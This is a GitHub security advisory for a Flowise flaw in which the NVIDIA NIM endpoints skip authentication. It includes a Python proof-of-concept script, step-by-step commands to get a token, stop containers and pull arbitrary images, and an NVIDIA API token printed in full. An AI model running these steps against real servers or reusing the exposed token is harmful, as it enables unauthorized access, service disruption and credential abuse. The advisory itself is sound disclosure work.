Skip to content

Flowise Missing Authentication on NVIDIA NIM Endpoints

High severity GitHub Reviewed Published Mar 5, 2026 in FlowiseAI/Flowise

Package

npm flowise (npm)

Affected versions

<= 3.0.12

Patched versions

3.0.13

Description

Missing Authentication on NVIDIA NIM Endpoints

Summary

The NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.

Vulnerability Details

Field Value
CWE CWE-306: Missing Authentication for Critical Function
Affected File packages/server/src/utils/constants.ts
Affected Line Line 20 ('/api/v1/nvidia-nim' in WHITELIST_URLS)
CVSS 3.1 8.6 (High)

Root Cause

In packages/server/src/utils/constants.ts, the NVIDIA NIM route is added to the authentication whitelist:

export const WHITELIST_URLS = [
    // ... other URLs
    '/api/v1/nvidia-nim',  // Line 20 - bypasses JWT/API-key validation
    // ...
]

This causes the global auth middleware to skip authentication checks for all endpoints under /api/v1/nvidia-nim/*. None of the controller actions in packages/server/src/controllers/nvidia-nim/index.ts perform their own authentication checks.

Affected Endpoints

Method Endpoint Risk
GET /api/v1/nvidia-nim/get-token Leaks valid NVIDIA API token
GET /api/v1/nvidia-nim/preload Resource consumption
GET /api/v1/nvidia-nim/download-installer Resource consumption
GET /api/v1/nvidia-nim/list-running-containers Information disclosure
POST /api/v1/nvidia-nim/pull-image Arbitrary image pull
POST /api/v1/nvidia-nim/start-container Arbitrary container start
POST /api/v1/nvidia-nim/stop-container Denial of Service
POST /api/v1/nvidia-nim/get-image Information disclosure
POST /api/v1/nvidia-nim/get-container Information disclosure

Impact

1. NVIDIA API Token Leakage

The /get-token endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.

Token obtained:

{
  "access_token": "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",
  "token_type": "Bearer",
  "expires_in": 3600
}

Token validation:

curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
# Returns list of 170+ available models

2. Container Runtime Manipulation

On systems with Docker/NIM installed, an unauthenticated attacker can:

  • List running containers (reconnaissance)
  • Stop containers (Denial of Service)
  • Start containers with arbitrary images
  • Pull arbitrary Docker images (resource consumption, potential malicious images)

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Privileged NVIDIA NIM endpoints are unauthenticated

Usage:
  python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
"""

import argparse
import urllib.request
import urllib.error

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
    ap.add_argument("--path", required=True, help="NIM endpoint path")
    ap.add_argument("--method", default="GET", choices=["GET", "POST"])
    ap.add_argument("--data", default="", help="Raw request body for POST")
    args = ap.parse_args()

    url = args.target.rstrip("/") + "/" + args.path.lstrip("/")
    body = args.data.encode("utf-8") if args.method == "POST" else None
    req = urllib.request.Request(
        url,
        data=body,
        method=args.method,
        headers={"Content-Type": "application/json"} if body else {},
    )

    try:
        with urllib.request.urlopen(req, timeout=10) as r:
            print(r.read().decode("utf-8", errors="replace"))
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))

if __name__ == "__main__":
    main()

screenshot

Exploitation Steps

# 1. Obtain NVIDIA API token (no authentication required)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token

# 2. List running containers
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers

# 3. Stop a container (DoS)
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \
  --method POST --data '{"containerId":"<target_id>"}'

# 4. Pull arbitrary image
python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \
  --method POST --data '{"imageTag":"malicious/image","apiKey":"any"}'

Evidence

Token retrieval without authentication:

$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token
{"access_token":"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","token_type":"Bearer","refresh_token":null,"expires_in":3600,"id_token":null}

Token grants access to NVIDIA API:

$ curl -H "Authorization: Bearer nvapi-GT-..." https://integrate.api.nvidia.com/v1/models
{"object":"list","data":[{"id":"01-ai/yi-large",...},{"id":"meta/llama-3.1-405b-instruct",...},...]}

Container endpoints return 500 (not 401) proving auth bypass:

$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers
{"statusCode":500,"success":false,"message":"Container runtime client not available","stack":{}}

References

References

@igor-magun-wd igor-magun-wd published to FlowiseAI/Flowise Mar 5, 2026
Published to the GitHub Advisory Database Mar 6, 2026
Reviewed Mar 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(5th percentile)

Weaknesses

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

CVE ID

CVE-2026-30824

GHSA ID

GHSA-5f53-522j-j454

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.